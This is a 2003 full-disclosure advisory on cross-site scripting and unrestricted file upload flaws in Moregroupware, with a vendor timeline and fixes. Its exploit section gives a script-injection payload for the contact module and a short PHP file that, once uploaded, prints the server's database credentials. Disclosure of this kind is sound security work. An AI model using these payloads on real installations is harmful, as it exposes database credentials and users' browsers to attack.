full-disclosure - [KSA-002] Multiple Vulnerabilities In Moregroupware

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From: francois.sorin at security-corporation.com (François SORIN)
Subject: [KSA-002] Multiple Vulnerabilities In Moregroupware

PROGRAM: Moregroupware
HOMEPAGE: http://www.moregroupware.com/
VULNERABLE VERSIONS: 0.6.7 and prior ?
RISK: Low/Medium
IMPACT: Cross Site Scripting
RELEASE DATE: 2003-06-26

=================================================
TABLE OF CONTENTS
=================================================

1..........................................................DESCRIPTION
2..............................................................DETAILS
3.............................................................EXPLOITS
4............................................................SOLUTIONS
5...........................................................WORKAROUND
6..................................................DISCLOSURE TIMELINE
7..............................................................CREDITS
8...........................................................DISCLAIMER
9...........................................................REFERENCES
10............................................................FEEDBACK

1. DESCRIPTION
=================================================

"Some of the features that are worth being mentioned:

- Contact/address management
- Webmail
- full-featured Calendar
- ToDo management
- News
- Project management
- Some preferences for each module
- Skins based on Cascading Style Sheets"

(direct quote from http://www.moregroupware.com)

2. DETAILS
=================================================

- Cross Site Scripting :

Many exploitable bugs was found in Moregroupware which cause script
execution on client's computer.

This kind of attack known as "Cross-Site Scripting Vulnerability"
is present in many section of the web site, an attacker can input
specially crafted links and/or other malicious scripts.

- Upload files :

When you upload a file on the server you can upload some html files or
php files. You can grab or change some informations with this
possibility.

3. EXPLOIT
=================================================

- Cross Site Scripting (many pages are infected) :

http://[target]/moregroupware/modules/contact/index.php?

You can add a contact and put <script>alert();</script>, alert(); can be
replaced by a malicious script.

A dialog box is opened on the client browser.

Impact is relatively low, as this is a closed group application.
People having access should be 'trustable'.

- Upload files :

You can upload a file like file.php:
<?php

include('../../../config.inc.php');

echo $appconf['dbvendor'];
echo $appconf['dbhost'];
echo $appconf['dbuser'];
echo $appconf['dbpassword'];
echo $appconf['dbname'];
?>

And access it directly :
http://[target]/moregroupware/modules/files/store/file.php

This file is executed on the server and the information is divulged
to the hacker.

4. SOLUTIONS
=================================================

- Cross Site Scripting :
Use the function php eregi_replace to filter the input data.

5. WORKAROUND
=================================================

- Upload files :
Secure this module by replacing file extension or specify to the web
serveur not to execute this files. A better way for this problem is
to set permissions on the store/ directory so that only the webserver can
read the files. A simple fix that actually works.

6. DISCLOSURE TIMELINE
=================================================

06/20/2003 Vendor notified
06/24/2003 Response from the vendor and corrections added
06/25/2003 Security Corporation clients notified
06/26/2003 Public disclosure

7. CREDITS
=================================================

Discovered by Fran?ois SORIN <francois.sorin@...urity-corporation.com>

8. DISLAIMER
=================================================

The information within this paper may change without notice. Use of
this information constitutes acceptance for use in an AS IS condition.
There are NO warranties with regard to this information. In no event
shall the author be liable for any damages whatsoever arising out of
or in connection with the use or spread of this information. Any use
of this information is at the user's own risk.

9. REFERENCES
=================================================

- http://www.security-corporation.com/articles-20030626-003.html

10. FEEDBACK
=================================================

Please send suggestions, updates, and comments to:

Kereval
Immeuble Le Gallium
80, avenue des Buttes de Coesmes
35700 RENNES - FRANCE
info@...eval.com